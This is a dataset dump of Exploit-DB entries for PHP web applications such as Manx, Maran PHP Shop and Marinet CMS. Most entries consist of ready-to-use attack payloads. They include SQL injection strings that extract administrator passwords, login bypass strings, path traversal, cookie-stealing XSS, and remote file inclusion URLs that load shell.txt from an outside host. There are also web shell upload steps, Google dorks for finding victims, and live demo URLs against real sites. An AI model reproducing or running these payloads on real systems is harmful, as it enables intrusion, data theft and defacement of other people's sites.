deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41100
Description: Manufacturer Website Design Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Manufacturer Website Design Script
# Script Buy Now: http://www.popularclones.com/products/Manufacturer-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/add_gallery.php?id=[SQL]
# http://localhost/[PATH]/admin/add_product.php?prod_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #36366
Description: Manx 1.0.1 - '/admin/admin_blocks.php?Filename' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2011-11-28
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/50839/info
  
Manx is prone to multiple cross-site scripting and directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.
  
Manx 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_blocks.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Exploit-DB #36367
Description: Manx 1.0.1 - '/admin/admin_pages.php?Filename' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2011-11-28
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/50839/info
   
Manx is prone to multiple cross-site scripting and directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.
   
Manx 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_pages.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Exploit-DB #36364
Description: Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-28
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/50839/info

Manx is prone to multiple cross-site scripting and directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.

Manx 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php?limit="><script>alert(1)</script> 

http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php?limit=5&search=1&search_folder=</script><script>alert(1)</script>Waddup Thricer!
Exploit-DB #36365
Description: Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager_OLD/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-28
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/50839/info
 
Manx is prone to multiple cross-site scripting and directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.
 
Manx 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager_old/ajax_get_file_listing.php?limit="><script>alert(1)</script> 

http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager_old/ajax_get_file_listing.php?limit=5&search=1&search_folder=</script><script>alert(1)</script>Waddup Thricer!
Exploit-DB #32403
Description: MapCal 0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: 0x90

Exploit:
source: https://www.securityfocus.com/bid/31304/info

MapCal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MapCal 0.1 is vulnerable; other versions may also be affected.

http://www.example.com/cms/index.php?action=editevent&id=-0x90+union+select+0x90,0x90,0x90,concat(0x3a,database(),0x3a,version()),0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90+from+events
Exploit-DB #3638
Description: MapLab MS4W 2.2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-02
Author: ka0x

Exploit:
Bug Found By ka0x
D.O.M TEAM
we are: anonyph;arp;ka0x;xarnuz
Contact: ka0x01@gmail.com
FROM SPAIN
---

Script: MapLab
Version: 2.2.1
Official Site: http://www.maptools.org
Download: http://www.maptools.org/dl/ms4w/maplab_ms4w-2.2.1.zip

--

Bug File: params.php
Path: /htdocs/gmapfactory/params.php

Bug code in line 130:
include_once($gszAppPath."htdocs/gmapfactory/build_phtml.php");

--
Dorks:

index.of /maplab-2.2
intitle:MapLab
index.of /maplab-2.2
index.of /maplab/

--

Exploit:
http://site.com/pathmaplab/htdocs/gmapfactory/params.php?gszAppPath=[EvilScript] 

# milw0rm.com [2007-04-02]
Exploit-DB #30465
Description: Mapos-Scripts.de Gastebuch 1.5 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25252/info

Mapos-Scripts.de Gastebuch is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Gastebuch 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id
Exploit-DB #48777
Description: Mara CMS  7.5 - Reflective Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-08-31
Author: George Tsimpidas

Exploit:
# Exploit Title: Mara CMS  7.5 - Reflective Cross-Site Scripting
# Google Dork: NA
# Date: 2020-08-01
# Exploit Author: George Tsimpidas
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Kali Linux(x64)
# CVE : CVE-2020-24223


Mara CMS 7.5 suffers from a Reflected Cross Site Scripting vulnerability.

Description :


 This Reflected XSS vulnerability allows any authenticated user to
inject malicious code via the parameter contact.php?theme=<inject>.
The vulnerability exists because the parameter is not properly
sanitized and this can lead to malicious code injection that will be
executed on the target’s browser.

PoC :

Use Payload : seven69387';alert(1)//154

Path : http://localhost/contact.php?theme=< inject payload here>

Injection Example :
http://localhost/contact.php?theme=seven69387';alert(1)//154
Exploit-DB #32090
Description: Maran PHP Blog - 'comments.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-21
Author: Dr.Crash

Exploit:
source: https://www.securityfocus.com/bid/30309/info

Maran PHP Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/comments.php?id=%3E%3C%3E%27%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #6954
Description: Maran PHP Shop - 'admin.php' Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-02
Author: JosS

Exploit:
# Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /admin.php
vuln code:
<?
$readcookie = $_COOKIE['user'];
if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;}
//echo $_COOKIE['user'];
?>

exploit:
javascript:document.cookie = "user=demo; path=/";

Hack0wn :D

# milw0rm.com [2008-11-02]
Exploit-DB #6953
Description: Maran PHP Shop - 'prod.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: JosS

Exploit:
# Maran PHP Shop (prod.php cat) SQL Injection Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC: /prod.php?cat=7['SQL]
ExP: /prod.php?cat=7+and+1=2++union+all+select+database()--

live demo:
http://www.heimanis.lv/prod.php?cat=7+and+1=2++union+all+select+database()--

output:~$ latvello_heimanis

Hack0wn :D

# milw0rm.com [2008-11-02]
Exploit-DB #6958
Description: Maran PHP Shop - 'prodshow.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: d3v1l

Exploit:
[~]-------------------------------------------------------------------------------------------------------------

[~] Maran PHP Shop (prodshow.php) SQL Injection Vulnerability
[~]
[~] http://www.maran.pamil-visions.com/maranshop.php
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 12.10.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7
[~] 
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat(user_password,char(58),user_name),3,4,5,6,7 FROM administrators
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-02]
Exploit-DB #10351
Description: MarieCMS 0.9 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-07
Author: Amol Naik

Exploit:
############
 OVERVIEW
############

MarieCMS v0.9 vulnerable to following issues:

++ Remote File Inclusion
++ Local File Inclusion
++ Persistent XSS
++ Shell Upload (Authenticated User)

######################
 PoC
######################

# Remote File Inclusion:
++++++++++++++++++++++++

http://server/mariecms/?page=http://[attacker]/[site]/shell.txt?

# Local File Inclusion:
+++++++++++++++++++++++

http://server/mariecms/?mod=../../../../../../../../../../boot.ini%00
http://server/mariecms/admin/index.php?mod=../../../../../../../../../../../../boot.ini%00

# Persistent XSS:
+++++++++++++++++

Put <script>alert("XSS")</script> in "Name" field on page
http://server/mariecms/?page=addgb&mod=gaestebuch

# Shell Upload (Authenticated User):
+++++++++++++++

1. Rename shell.php to shell.jpg.php
2. Upload it into galleryupload section.
3. View images to get image id for shell.jpg.php
4. Access shell:
http://[server]/[path]/_images/[image_id].php?cmd=dir



############
 TimeLine
############

Bug discovered 			: 26/11/2009
Informed Vendor			: 30/11/2009 -- No reply received from vendor till the date
Public Disclosure		: 02/12/2009
Exploit-DB #36536
Description: Marinet CMS - 'gallery.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-09
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51336/info
  
Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/gallery.php?photoid=1&id=[SQLi]
Exploit-DB #36535
Description: Marinet CMS - 'galleryphoto.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-09
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51336/info
 
Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
 http://www.example.com/galleryphoto.php?id=[SQLi]
Exploit-DB #17909
Description: Marinet CMS - 'room.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-09-30
Author: BHG Security Center

Exploit:
====================================================
MARINET CMS (room.php) <= Blind SQL Vulnerability
====================================================
 
 
# Exploit Title: MARINET CMS (room.php) <= Blind SQL Vulnerability
# Date: 30 - 09 - 2011
# Author: BHG Security Center
# Software Link: http://www.marinet.gr/
# Contact : http://black-hg.org
# Version: Final
# Google dork: inurl:room.php?rid=1 "POWERED BY MARINET"
# Tested on: Linux
 
[*] ## ExPLo!T:
 
 
http://localhost/room.php?rid=[SQL]

http://localhost/room.php?rid=1+and+1=0--

=================================**BHG Security 
Center**==================================|
# Greets To 
:                                                                             |
  Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ Cyrus ~ tHe.k!ll3r ~ Mr.XHat ~ ArYaIeIrAn 
~ cmaxx  |
  M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ r3v0lter , NoL1m1t , Immortal Boy ~ 
farbodmahini ~ xb0y |
==========================================================================================|
Exploit-DB #36534
Description: Marinet CMS - 'room2.php?roomid' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-09
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51336/info

Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/room2.php?roomid=[SQLi]
Exploit-DB #12575
Description: Marinet CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-11
Author: XroGuE

Exploit:
=========================================================
Marinet cms SQL Injection Vulnerability
=========================================================
##########################################
# Name: Marinet cms SQL Injection Vulnerability
# Date: 2010-05-11
# vendor: http://www.marinet.gr/
# Author: Ashiyane Digital Security Team
# Thanks to: khodam :P, Satanic2000,Veron, ... And All Ashiyane Members ...
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork:  intext: "Powered by Marinet"

[+] Vulnerability: www.site.com/[path]/page.php?id=[SQLi]  

[+] Live Demo: http://[site]/page.php?id=[SQLi]


##########################################
Exploit-DB #12577
Description: Marinet CMS - SQL Injection / Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-11
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------
 
Marinet cms SQL/XSS/HTML Injection Vulnerability
 
-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu@windowslive.com
 
Script Home: http://www.marinet.gr/
 
Dork: Powered by Marinet

-------------------------------------------------------------------------------------------
 
Sql Injection:
 
http://localhost/[path]/product.php?id=-1%20union%20select%200,1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,group_concat%28column_name%29,23,24,25,26%20from%20information_schema.columns%20where%20table_name=char%28118,%20105,%20115,%2097,%2095,%20116,%2097,%2098,%20108,%20101%29

http://localhost/[path]/productuk.php?id=-1%20union%20select%200,1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat%28column_name%29,24,25,26%20from%20information_schema.columns%20where%20table_name=char%28118,%20105,%20115,%2097,%2095,%20116,%2097,%2098,%20108,%20101%29
 
-------------------------------------------------------------------------------------------

XSS Injection

http://localhost/[path]/search.php
Search Box Paste Code: 


http://localhost/[path]/info.php?catid=1&cat=
http://localhost/[path]/galleryphoto.php?id=1&photo=

-------------------------------------------------------------------------------------------

HTML Injection

http://localhost/[path]/search.php
Search Box Paste Code: <font size=15 color=red>Hacked By CoBRa_21</font>


http://localhost/[path]/galleryphoto.php?id=1&photo=<font size=15 color=red>Hacked By CoBRa_21</font>
http://localhost/[path]/info.php?catid=1&cat=<font size=15 color=red>Hacked By CoBRa_21</font>
Exploit-DB #24737
Description: Mark Zuckerberg Thefacebook - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-11-13
Author: Alex Lanstein

Exploit:
source: https://www.securityfocus.com/bid/11676/info

It is reported that Thefacebook is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/search.php?do_search=1&advanced=1&name=&email=&status=&sex=&year=&house=&room=&mailbox=&phone=%3Cscript%3Edocument.write%28document.cookie
%29%3C%2Fscript%3E&birthday=&address=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E&city=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E&st
ate=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E&zip=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E&concentration=&political=&screenname
=&cell=&relationship=&meeting_for=&meeting_sex=&text=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/global.php?do_search=1&high_school=1&state=1&city=2&hsid=1&changed=1&advanced=1&high_school=1&name=%3Cscript%3Edocument.write%28document.c
ookie%29%3C%2Fscript%3E&hsyear=

http://www.example.com/search.php?all_fields=0&do_search=1&advanced=1&group=%3Cscript%3Edocument.write%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #12788
Description: Marketing Web Design - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-29
Author: XroGuE

Exploit:
=======================================================================
# Marketing Web Design Multiple Vulnerabilities
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm XroGuE member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

########################################################################
# Name: Marketing Web Design Multiple Vulnerabilities
# Vendor: http://www.marketingwebdesign.net
# Date: 2010-05-29
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: intext:"Marketing Web Design - Posicionamiento en Buscadores"


[+] Vulnerability Page: All Pages :))

########################################################################

[+] SQL InjecTion Vulnerability:

[+] Demo: http://server/verfoto.php?id=1+and+1=1 [and+1=2]
http://www.hoopstats.com.ar/ver-noticia.php?id=-9999+and+1=2+union select 1,version(),3,4,5,6,7,8,9--


########################################################################

[+] HTML InjecTion Vulnerability:

[+] Demo: http://server/verfoto.php?id=<marquee><font color=Blue size=15>XroGuE</font></marquee>
http://server/ver-noticia.php?id=<marquee><font color=Blue size=15>XroGuE</font></marquee>

########################################################################

[+] XSS InjecTion Vulnerability:

[+] Demo: http://server/verfoto.php?id=
http://server/ver-noticia.php?id=

########################################################################